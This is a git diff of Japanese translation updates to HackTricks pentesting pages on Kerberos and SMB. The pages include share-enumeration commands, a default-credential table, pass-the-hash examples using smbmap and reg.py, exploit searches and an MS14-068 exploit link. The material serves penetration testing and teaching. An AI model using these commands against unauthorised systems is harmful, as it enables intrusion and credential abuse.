mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-smb/README.md',
This commit is contained in:
parent
024372bb4f
commit
018f49b603
@ -4,20 +4,57 @@
|
|||||||
|
|
||||||
## 基本情報
|
## 基本情報
|
||||||
|
|
||||||
**Kerberos** は、ユーザーのリソースへのアクセスを直接管理することなく認証を行う原則に基づいています。これは、プロトコルのセキュリティフレームワークにおける役割を強調する重要な違いです。
|
**Kerberos** は、ユーザーを認証する一方でリソースへのアクセス権を直接管理しないという原則で動作します。これはプロトコルがセキュリティフレームワーク内で果たす役割を強調する重要な違いです。
|
||||||
|
|
||||||
**Active Directory** のような環境では、**Kerberos** はユーザーの秘密のパスワードを検証することによってユーザーのアイデンティティを確立するのに重要な役割を果たします。このプロセスは、各ユーザーのアイデンティティがネットワークリソースと相互作用する前に確認されることを保証します。しかし、**Kerberos** は特定のリソースやサービスに対するユーザーの権限を評価または強制する機能を拡張しません。代わりに、ユーザーを認証するための安全な方法を提供し、これはセキュリティプロセスの重要な第一歩です。
|
**Active Directory** のような環境では、**Kerberos** はユーザーの秘密のパスワードを検証することでユーザーの身元を確立する上で重要な役割を果たします。このプロセスは、ユーザーがネットワークリソースとやり取りする前にその身元が確認されることを保証します。しかし、**Kerberos** は特定のリソースやサービスに対するユーザーの権限を評価したり強制したりする機能までは提供しません。代わりに、ユーザーを認証する安全な方法を提供し、これがセキュリティプロセスにおける重要な第一歩となります。
|
||||||
|
|
||||||
**Kerberos** による認証の後、リソースへのアクセスに関する意思決定プロセスは、ネットワーク内の個々のサービスに委任されます。これらのサービスは、**Kerberos** が提供するユーザーの特権に関する情報に基づいて、認証されたユーザーの権利と権限を評価する責任を負います。この設計により、ユーザーのアイデンティティを認証することとアクセス権を管理することの間に関心の分離が可能になり、分散ネットワークにおけるリソース管理に対してより柔軟で安全なアプローチを実現します。
|
**Kerberos** による認証後、リソースへのアクセスに関する意思決定プロセスはネットワーク内の各サービスに委ねられます。これらのサービスは、**Kerberos** が提供するユーザーの権限に関する情報に基づいて、認証済みユーザーの権利やアクセス許可を評価する責任を負います。この設計により、ユーザーの身元を認証することとアクセス権を管理することの関心の分離が可能となり、分散ネットワークにおけるリソース管理をより柔軟かつ安全に行うことができます。
|
||||||
|
|
||||||
**デフォルトポート:** 88/tcp/udp
|
**デフォルトポート:** 88/tcp/udp
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
88/tcp open kerberos-sec
|
88/tcp open kerberos-sec
|
||||||
```
|
```
|
||||||
### **Kerberosを悪用する方法を学ぶには、** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**に関する投稿を読むべきです。**
|
### **Kerberosを悪用する方法を学ぶには、[**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)に関する投稿を読むべきです。**
|
||||||
|
|
||||||
## もっと
|
## Kerberos-only 環境:クライアントの準備とトラブルシューティング
|
||||||
|
|
||||||
|
ドメインサービス(SMB/WinRM/etc.)で NTLM が無効になっている場合、Kerberos で認証する必要があります。よくある落とし穴と実用的なワークフロー:
|
||||||
|
|
||||||
|
- 時刻同期は必須です。ホストの時計が数分以上ずれていると `KRB_AP_ERR_SKEW` が表示され、すべての Kerberos 認証が失敗します。DC と時刻を同期してください:
|
||||||
|
```bash
|
||||||
|
# quick one-shot sync (requires sudo)
|
||||||
|
sudo ntpdate <dc.fqdn> || sudo chronyd -q 'server <dc.fqdn> iburst'
|
||||||
|
```
|
||||||
|
- ターゲットのレルム/ドメイン用の有効な krb5.conf を生成する。 `netexec` (CME fork) は SMB テスト中にそれを出力できます:
|
||||||
|
```bash
|
||||||
|
# Generate krb5.conf and install it
|
||||||
|
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
|
||||||
|
sudo cp krb5.conf /etc/krb5.conf
|
||||||
|
```
|
||||||
|
- TGTを取得し、ccacheを確認する:
|
||||||
|
```bash
|
||||||
|
kinit <user>
|
||||||
|
klist
|
||||||
|
```
|
||||||
|
- Kerberos を SMB tooling で使用する(パスワードは送信されず、あなたの ccache を使用します):
|
||||||
|
```bash
|
||||||
|
# netexec / CME
|
||||||
|
netexec smb <dc.fqdn> -k # lists shares, runs modules using Kerberos
|
||||||
|
# impacket examples also support -k / --no-pass to use the ccache
|
||||||
|
smbclient --kerberos //<dc.fqdn>/IPC$
|
||||||
|
```
|
||||||
|
- GSSAPI SSH シングルサインオン (OpenSSH から Windows OpenSSH server):
|
||||||
|
```bash
|
||||||
|
# Ensure krb5.conf is correct and you have a TGT (kinit)
|
||||||
|
# Use the FQDN that matches the host SPN. Wrong names cause: "Server not found in Kerberos database"
|
||||||
|
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn>
|
||||||
|
```
|
||||||
|
ヒント:
|
||||||
|
- `/etc/hosts` が SSH/SMB で接続する正確な FQDN を解決するようにし、DNS をオーバーライドしている場合は裸のドメインエントリより前に記載されていることを確認してください。SPN の不一致は GSSAPI 認証を失敗させます。
|
||||||
|
- SMB で NTLM が無効になっている場合、NTLM 試行で `STATUS_NOT_SUPPORTED` が表示されることがあります。Kerberos を強制するには `-k` を追加してください。
|
||||||
|
|
||||||
|
## その他
|
||||||
|
|
||||||
### Shodan
|
### Shodan
|
||||||
|
|
||||||
@ -25,13 +62,21 @@ PORT STATE SERVICE
|
|||||||
|
|
||||||
### MS14-068
|
### MS14-068
|
||||||
|
|
||||||
MS14-068の脆弱性により、攻撃者は正当なユーザーのKerberosログイントークンを改ざんし、ドメイン管理者であるかのように偽って特権を主張することができます。この偽の主張はドメインコントローラーによって誤って検証され、Active Directoryフォレスト全体のネットワークリソースへの不正アクセスを可能にします。
|
MS14-068 の脆弱性により、攻撃者は正当なユーザーの Kerberos ログイントークンを改ざんして、Domain Admin のような権限昇格を偽って主張できます。この偽の主張が Domain Controller によって誤って検証され、Active Directory フォレスト全体のネットワークリソースへの不正アクセスを可能にします。
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
https://adsecurity.org/?p=541
|
https://adsecurity.org/?p=541
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
他のエクスプロイト: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
|
Other exploits: [https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek)
|
||||||
|
|
||||||
|
## 参考
|
||||||
|
|
||||||
|
- [NetExec (CME) wiki – Kerberos and krb5.conf generation](https://www.netexec.wiki/)
|
||||||
|
- [OpenSSH GSSAPIAuthentication](https://man.openbsd.org/ssh_config#GSSAPIAuthentication)
|
||||||
|
- [MIT Kerberos – Using Kerberos on UNIX](https://web.mit.edu/kerberos/krb5-1.12/doc/user/user_config.html)
|
||||||
|
- [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
|
||||||
|
|
||||||
## HackTricks 自動コマンド
|
## HackTricks 自動コマンド
|
||||||
```
|
```
|
||||||
|
@ -4,61 +4,61 @@
|
|||||||
|
|
||||||
## **Port 139**
|
## **Port 139**
|
||||||
|
|
||||||
_**Network Basic Input Output System**_** (NetBIOS)** は、ローカルエリアネットワーク (LAN) 内のアプリケーション、PC、およびデスクトップがネットワークハードウェアとやり取りし、**ネットワーク上でのデータ伝送を容易にする**ために設計されたソフトウェアプロトコルです。NetBIOSネットワーク上で動作するソフトウェアアプリケーションの識別と位置特定は、その NetBIOS names によって行われます。NetBIOS names は最大16文字で、しばしばコンピュータ名とは異なります。2つのアプリケーション間の NetBIOS セッションは、あるアプリケーション(クライアントとして動作)が別のアプリケーション(サーバーとして動作)に「call」コマンドを発行し、**TCP Port 139** を利用することで開始されます。
|
_**Network Basic Input Output System**_** (NetBIOS)** は、ローカルエリアネットワーク (LAN) 内のアプリケーション、PC、デスクトップがネットワークハードウェアと相互作用し、ネットワーク上でのデータ伝送を容易にするよう設計されたソフトウェアプロトコルです。NetBIOS ネットワーク上で動作するソフトウェアアプリケーションの識別と位置特定は、それらの NetBIOS 名によって行われ、これらは最大16文字でコンピュータ名とは異なる場合が多いです。2つのアプリケーション間の NetBIOS セッションは、片方のアプリケーション(クライアントとして動作)が別のアプリケーション(サーバとして動作)を「call」するコマンドを発行し、**TCP Port 139** を利用したときに開始されます。
|
||||||
```
|
```
|
||||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||||
```
|
```
|
||||||
## Port 445
|
## Port 445
|
||||||
|
|
||||||
技術的には、Port 139 は 'NBT over IP' と呼ばれ、Port 445 は 'SMB over IP' と識別されます。頭字語 **SMB** は '**Server Message Blocks**' の略で、現在では **Common Internet File System (CIFS)** としても知られています。アプリケーション層のネットワークプロトコルとして、SMB/CIFS は主にファイル、プリンタ、シリアルポートへの共有アクセスを可能にし、ネットワーク上のノード間でさまざまな通信を行うために使用されます。
|
技術的には、Port 139 は ‘NBT over IP’ と呼ばれる一方、Port 445 は ‘SMB over IP’ と識別されます。略語 **SMB** は ‘**Server Message Blocks**’ の略で、現代では **Common Internet File System (CIFS)** としても知られています。アプリケーション層のネットワークプロトコルとして、SMB/CIFS は主にファイル、プリンター、シリアルポートへの共有アクセスを可能にし、ネットワーク上のノード間のさまざまな通信を促進するために使用されます。
|
||||||
|
|
||||||
例えば、Windows の文脈では、SMB が port 445 を利用して直接 TCP/IP 上で動作できるため、NetBIOS over TCP/IP を必須としないことが強調されます。逆に他のシステムでは port 139 が使用されることがあり、これは SMB が NetBIOS over TCP/IP と併用されていることを示します。
|
例えば、Windows の文脈では、SMB は TCP/IP 上で直接動作でき、NetBIOS over TCP/IP を必要としない(port 445 を使用する)ことが強調されています。一方、他のシステムでは port 139 を使用していることがあり、これは SMB が NetBIOS over TCP/IP と組み合わせて実行されていることを示しています。
|
||||||
```
|
```
|
||||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||||
```
|
```
|
||||||
### SMB
|
### SMB
|
||||||
|
|
||||||
The **Server Message Block (SMB)** プロトコルは **client-server** モデルで動作し、**access to files** やディレクトリ、プリンタやルータなどの他のネットワークリソースへのアクセスを制御するために設計されています。主に **Windows** オペレーティングシステム系列で利用され、SMB は後方互換性を確保しているため、Microsoft の新しいバージョンの OS を搭載した機器が古いバージョンを実行する機器とシームレスにやり取りできます。さらに、**Samba** プロジェクトは無償のソフトウェアソリューションを提供しており、SMB を **Linux** や Unix システムで実装できるようにして、SMB を介したクロスプラットフォームの通信を可能にします。
|
The **Server Message Block (SMB)** protocol, operating in a **client-server** model, is designed for regulating **access to files**, directories, and other network resources like printers and routers. Primarily utilized within the **Windows** operating system series, SMB ensures backward compatibility, allowing devices with newer versions of Microsoft's operating system to seamlessly interact with those running older versions. Additionally, the **Samba** project offers a free software solution, enabling SMB's implementation on **Linux** and Unix systems, thereby facilitating cross-platform communication through SMB.
|
||||||
|
|
||||||
Shares はローカルファイルシステムの **arbitrary parts of the local file system** を表し、SMB サーバによって提供されることでクライアントに見える階層がサーバの実際の構造から部分的に **independent** になります。**Access Control Lists (ACLs)** は **access rights** を定義し、ユーザー権限に対して **fine-grained control** を可能にします。これには **`execute`**, **`read``,** `full access` のような属性が含まれます。これらの権限はシェア単位で個々のユーザーまたはグループに割り当てることができ、サーバ上に設定されたローカル権限とは区別されます。
|
Shares, representing **arbitrary parts of the local file system**, can be provided by an SMB server, making the hierarchy visible to a client partly **independent** from the server's actual structure. The **Access Control Lists (ACLs)**, which define **access rights**, allow for **fine-grained control** over user permissions, including attributes like **`execute`**, **`read`**, and **`full access`**. These permissions can be assigned to individual users or groups, based on the shares, and are distinct from the local permissions set on the server.
|
||||||
|
|
||||||
### IPC$ Share
|
### IPC$ Share
|
||||||
|
|
||||||
IPC$ share へのアクセスは anonymous null session を通じて取得でき、named pipes を介して公開されているサービスとやり取りすることが可能です。この目的にはユーティリティ `enum4linux` が有用です。適切に利用すると、以下の情報を取得できます:
|
Access to the IPC$ share can be obtained through an anonymous null session, allowing for interaction with services exposed via named pipes. The utility `enum4linux` is useful for this purpose. Utilized properly, it enables the acquisition of:
|
||||||
|
|
||||||
- オペレーティングシステムに関する情報
|
- Information on the operating system
|
||||||
- 親ドメインの詳細
|
- Details on the parent domain
|
||||||
- ローカルユーザーおよびグループの一覧
|
- A compilation of local users and groups
|
||||||
- 利用可能な SMB シェアに関する情報
|
- Information on available SMB shares
|
||||||
- 実効システムセキュリティポリシー
|
- The effective system security policy
|
||||||
|
|
||||||
この機能はネットワーク管理者やセキュリティ担当者がネットワーク上の SMB (Server Message Block) サービスのセキュリティ姿勢を評価する上で重要です。`enum4linux` はターゲットシステムの SMB 環境を包括的に把握するための情報を提供し、潜在的な脆弱性の特定や SMB サービスが適切に保護されていることを確認するために不可欠です。
|
This functionality is critical for network administrators and security professionals to assess the security posture of SMB (Server Message Block) services on a network. `enum4linux` provides a comprehensive view of the target system's SMB environment, which is essential for identifying potential vulnerabilities and ensuring that the SMB services are properly secured.
|
||||||
```bash
|
```bash
|
||||||
enum4linux -a target_ip
|
enum4linux -a target_ip
|
||||||
```
|
```
|
||||||
上記のコマンドは、`target_ip`で指定したターゲットに対して `enum4linux` を用いてフル列挙を行う例です。
|
上記のコマンドは、`enum4linux` が `target_ip` で指定されたターゲットに対して完全な列挙を実行する方法の例です。
|
||||||
|
|
||||||
## NTLMとは何か
|
## NTLMとは
|
||||||
|
|
||||||
NTLMが何か分からない場合、またはその仕組みや悪用方法を知りたい場合は、**NTLM**に関するこのページが非常に参考になります。そこでは**このプロトコルがどのように動作し、どのように活用できるか**が説明されています:
|
NTLMが何かわからない、あるいはその仕組みや悪用方法を知りたい場合は、**NTLM** に関するこちらのページが非常に参考になります。そこでは**このプロトコルがどのように動作し、どのように活用できるか**が説明されています:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../windows-hardening/ntlm/
|
../../windows-hardening/ntlm/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## **サーバー列挙**
|
## **Server Enumeration**
|
||||||
|
|
||||||
### **スキャン** ネットワーク内のホストを検索する:
|
### **Scan** ネットワーク上でホストを検索する:
|
||||||
```bash
|
```bash
|
||||||
nbtscan -r 192.168.0.1/24
|
nbtscan -r 192.168.0.1/24
|
||||||
```
|
```
|
||||||
### SMB サーバのバージョン
|
### SMBサーバーのバージョン
|
||||||
|
|
||||||
SMB バージョンに対する exploits を探すには、どのバージョンが使われているかを把握することが重要です。他の使用しているツールにこの情報が表示されない場合は、次を試してください:
|
SMBのバージョンに対する利用可能なexploitsを探すには、使用されているバージョンを把握することが重要です。他の使用しているツールでこの情報が表示されない場合は、次の方法を試してください:
|
||||||
|
|
||||||
- **MSF** の auxiliary モジュール `**auxiliary/scanner/smb/smb_version**` を使用する
|
- **MSF** の auxiliary モジュール `**auxiliary/scanner/smb/smb_version**` を使用する
|
||||||
- またはこのスクリプト:
|
- または次のスクリプト:
|
||||||
```bash
|
```bash
|
||||||
#!/bin/sh
|
#!/bin/sh
|
||||||
#Author: rewardone
|
#Author: rewardone
|
||||||
@ -75,18 +75,18 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
|
|||||||
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
|
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
|
||||||
echo "" && sleep .1
|
echo "" && sleep .1
|
||||||
```
|
```
|
||||||
### **exploitの検索**
|
### **exploit を検索**
|
||||||
```bash
|
```bash
|
||||||
msf> search type:exploit platform:windows target:2008 smb
|
msf> search type:exploit platform:windows target:2008 smb
|
||||||
searchsploit microsoft smb
|
searchsploit microsoft smb
|
||||||
```
|
```
|
||||||
### **可能な** 認証情報
|
### **考えられる** 認証情報
|
||||||
|
|
||||||
| **ユーザー名** | **一般的なパスワード** |
|
| **ユーザー名** | **よく使われるパスワード** |
|
||||||
| -------------------- | ----------------------------------------- |
|
| -------------------- | ----------------------------------------- |
|
||||||
| _(blank)_ | _(blank)_ |
|
| _(空白)_ | _(空白)_ |
|
||||||
| guest | _(blank)_ |
|
| guest | _(空白)_ |
|
||||||
| Administrator, admin | _(blank)_, password, administrator, admin |
|
| Administrator, admin | _(空白)_, password, administrator, admin |
|
||||||
| arcserve | arcserve, backup |
|
| arcserve | arcserve, backup |
|
||||||
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
|
||||||
| backupexec, backup | backupexec, backup, arcada |
|
| backupexec, backup | backupexec, backup, arcada |
|
||||||
@ -120,7 +120,7 @@ rpcclient -U "username%passwd" <IP> #With creds
|
|||||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
|
||||||
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
|
||||||
```
|
```
|
||||||
### ユーザー、グループ、ログオン中のユーザーの列挙
|
### Enumerate Users, Groups & Logged On Users
|
||||||
|
|
||||||
この情報は既に enum4linux と enum4linux-ng から収集されているはずです。
|
この情報は既に enum4linux と enum4linux-ng から収集されているはずです。
|
||||||
```bash
|
```bash
|
||||||
@ -157,13 +157,13 @@ run
|
|||||||
rpcclient-enumeration.md
|
rpcclient-enumeration.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### linux からの GUI 接続
|
### LinuxからのGUI接続
|
||||||
|
|
||||||
#### ターミナルで:
|
#### ターミナルで:
|
||||||
|
|
||||||
`xdg-open smb://cascade.htb/`
|
`xdg-open smb://cascade.htb/`
|
||||||
|
|
||||||
#### ファイルブラウザのウィンドウ (nautilus, thunar, etc)
|
#### ファイルブラウザウィンドウ(nautilus, thunar, etc)
|
||||||
|
|
||||||
`smb://friendzone.htb/general/`
|
`smb://friendzone.htb/general/`
|
||||||
|
|
||||||
@ -171,7 +171,7 @@ rpcclient-enumeration.md
|
|||||||
|
|
||||||
### 共有フォルダの一覧
|
### 共有フォルダの一覧
|
||||||
|
|
||||||
何かにアクセスできないか常に確認することをおすすめします。credentials を持っていない場合は **null** **credentials/guest user** を試してください。
|
何かアクセスできるものがないか常に確認することをおすすめします。資格情報がない場合は **null** **credentials/guest user** の使用を試してください。
|
||||||
```bash
|
```bash
|
||||||
smbclient --no-pass -L //<IP> # Null user
|
smbclient --no-pass -L //<IP> # Null user
|
||||||
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
|
||||||
@ -185,7 +185,7 @@ crackmapexec smb <IP> -u '' -p '' --shares #Null user
|
|||||||
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
|
||||||
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
|
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
|
||||||
```
|
```
|
||||||
### **共有フォルダに接続/一覧表示**
|
### **共有フォルダに接続/一覧表示**
|
||||||
```bash
|
```bash
|
||||||
#Connect using smbclient
|
#Connect using smbclient
|
||||||
smbclient --no-pass //<IP>/<Folder>
|
smbclient --no-pass //<IP>/<Folder>
|
||||||
@ -197,9 +197,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
|
|||||||
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
|
||||||
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
|
||||||
```
|
```
|
||||||
### **手動で Windows の共有を列挙して接続する**
|
### **手動で windows の共有を列挙して接続する**
|
||||||
|
|
||||||
ホストマシンの共有が表示されないよう制限されている場合があり、一覧表示しようとしても接続可能な共有が存在しないように見えることがあります。したがって、短時間で手動で共有に接続してみる価値があります。共有を手動で列挙する際は、valid session(例: null session や valid credentials)で NT_STATUS_ACCESS_DENIED や NT_STATUS_BAD_NETWORK_NAME といったレスポンスを探してください。これらは、共有が存在するがアクセス権がないのか、共有自体が存在しないのかを示す手掛かりになります。
|
ホストの共有を表示する権限が制限されており、一覧を取得しようとすると接続可能な共有がないかのように見えることがあります。したがって、手動で共有に接続してみる価値があります。
|
||||||
|
|
||||||
|
手動で共有を列挙するには、有効なセッションを使用している場合(例: null session や 有効な認証情報)に、NT_STATUS_ACCESS_DENIED や NT_STATUS_BAD_NETWORK_NAME のような応答を探すとよいでしょう。これらは、共有が存在するがアクセス権がないのか、あるいはそもそも共有が存在しないのかを示す手がかりになります。
|
||||||
|
|
||||||
Common share names for windows targets are
|
Common share names for windows targets are
|
||||||
|
|
||||||
@ -212,9 +214,9 @@ Common share names for windows targets are
|
|||||||
- SYSVOL
|
- SYSVOL
|
||||||
- NETLOGON
|
- NETLOGON
|
||||||
|
|
||||||
(Common share names from _**Network Security Assessment 3rd edition**_)
|
(共有名は _**Network Security Assessment 3rd edition**_ より)
|
||||||
|
|
||||||
You can try to connect to them by using the following command
|
次のコマンドで接続を試せます。
|
||||||
```bash
|
```bash
|
||||||
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
|
||||||
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
|
||||||
@ -238,10 +240,10 @@ done
|
|||||||
```
|
```
|
||||||
例
|
例
|
||||||
```bash
|
```bash
|
||||||
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
|
||||||
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
|
||||||
```
|
```
|
||||||
### **Windowsで共有を列挙する(サードパーティ製ツール不要)**
|
### **Windowsから共有を列挙する / サードパーティツールを使わずに**
|
||||||
|
|
||||||
PowerShell
|
PowerShell
|
||||||
```bash
|
```bash
|
||||||
@ -267,7 +269,7 @@ fsmgmt.msc
|
|||||||
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
|
||||||
compmgmt.msc
|
compmgmt.msc
|
||||||
```
|
```
|
||||||
explorer.exe (グラフィカル)で、`\\<ip>\` を入力すると、利用可能な非表示でない共有が表示されます。
|
explorer.exe(グラフィカル)、`\\<ip>\` を入力すると利用可能な非隠し共有が表示されます。
|
||||||
|
|
||||||
### 共有フォルダをマウントする
|
### 共有フォルダをマウントする
|
||||||
```bash
|
```bash
|
||||||
@ -276,7 +278,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
|
|||||||
```
|
```
|
||||||
### **ファイルのダウンロード**
|
### **ファイルのダウンロード**
|
||||||
|
|
||||||
前のセクションを参照して、credentials/Pass-the-Hash を使って接続する方法を学んでください。
|
前のセクションを読んで、credentials/Pass-the-Hash を使用して接続する方法を学んでください。
|
||||||
```bash
|
```bash
|
||||||
#Search a file and download
|
#Search a file and download
|
||||||
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
|
||||||
@ -291,16 +293,16 @@ smbclient //<IP>/<share>
|
|||||||
> mget *
|
> mget *
|
||||||
#Download everything to current directory
|
#Download everything to current directory
|
||||||
```
|
```
|
||||||
Commands:
|
コマンド:
|
||||||
|
|
||||||
- mask: ディレクトリ内のファイルをフィルタリングするために使用されるマスクを指定します(例: "" は全ファイル)
|
- mask: ディレクトリ内のファイルをフィルタするために使用する mask を指定します(例: "" は全ファイル)
|
||||||
- recurse: 再帰をオンにする切り替え(既定: オフ)
|
- recurse: 再帰をオンにします(デフォルト: オフ)
|
||||||
- prompt: ファイル名のプロンプトをオフにする切り替え(既定: オン)
|
- prompt: ファイル名確認のプロンプトをオフにします(デフォルト: オン)
|
||||||
- mget: マスクに一致するすべてのファイルをホストからクライアントにコピーします
|
- mget: mask に一致するすべてのファイルをホストからクライアントマシンへコピーします
|
||||||
|
|
||||||
(_smbclient の man ページからの情報_)
|
(_smbclient の manpage からの情報_)
|
||||||
|
|
||||||
### ドメイン共有フォルダの検索
|
### ドメインの共有フォルダ検索
|
||||||
|
|
||||||
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
|
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)
|
||||||
```bash
|
```bash
|
||||||
@ -318,45 +320,59 @@ Specially interesting from shares are the files called **`Registry.xml`** as the
|
|||||||
> The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
|
> The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
|
||||||
> You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
|
> You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
|
||||||
|
|
||||||
## Read Registry
|
## Registry の読み取り
|
||||||
|
|
||||||
You may be able to **read the registry** using some discovered credentials. Impacket **`reg.py`** allows you to try:
|
発見した認証情報を使って**Registry を読み取れる**場合があります。Impacket **`reg.py`** を使って試せます:
|
||||||
```bash
|
```bash
|
||||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
|
||||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
|
||||||
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
|
||||||
```
|
```
|
||||||
## ポストエクスプロイテーション
|
## 侵害後の処理
|
||||||
|
|
||||||
The **デフォルトの設定** a **Samba** サーバは通常 `/etc/samba/smb.conf` にあり、いくつかの **危険な設定** が含まれている可能性があります:
|
**Samba** サーバーの**デフォルト設定**は通常 `/etc/samba/smb.conf` にあり、いくつかの**危険な設定**が含まれている場合があります:
|
||||||
|
|
||||||
| **設定** | **説明** |
|
| **設定** | **説明** |
|
||||||
| --------------------------- | ------------------------------------------------------------------- |
|
| --------------------------- | ------------------------------------------------------------------- |
|
||||||
| `browseable = yes` | 利用可能な共有を一覧表示できるか? |
|
| `browseable = yes` | 利用可能な共有を一覧表示できるか? |
|
||||||
| `read only = no` | ファイルの作成および変更を禁止するか? |
|
| `read only = no` | ファイルの作成および変更を禁止するか? |
|
||||||
| `writable = yes` | ユーザーがファイルを作成および変更できるようにするか? |
|
| `writable = yes` | ユーザーがファイルを作成・変更できるか? |
|
||||||
| `guest ok = yes` | パスワードを使用せずにサービスへ接続を許可するか? |
|
| `guest ok = yes` | パスワードを使わずにサービスへ接続できるか? |
|
||||||
| `enable privileges = yes` | 特定のSIDに割り当てられた権限を尊重するか? |
|
| `enable privileges = yes` | 特定のSIDに割り当てられた権限を適用するか? |
|
||||||
| `create mask = 0777` | 新たに作成されるファイルにどの権限を割り当てるか? |
|
| `create mask = 0777` | 新規作成されたファイルにどの権限を割り当てるか? |
|
||||||
| `directory mask = 0777` | 新たに作成されるディレクトリにどの権限を割り当てるか? |
|
| `directory mask = 0777` | 新規作成されたディレクトリにどの権限を割り当てるか? |
|
||||||
| `logon script = script.sh` | ユーザーのログイン時に実行するスクリプトは何か? |
|
| `logon script = script.sh` | ユーザーのログイン時にどのスクリプトを実行するか? |
|
||||||
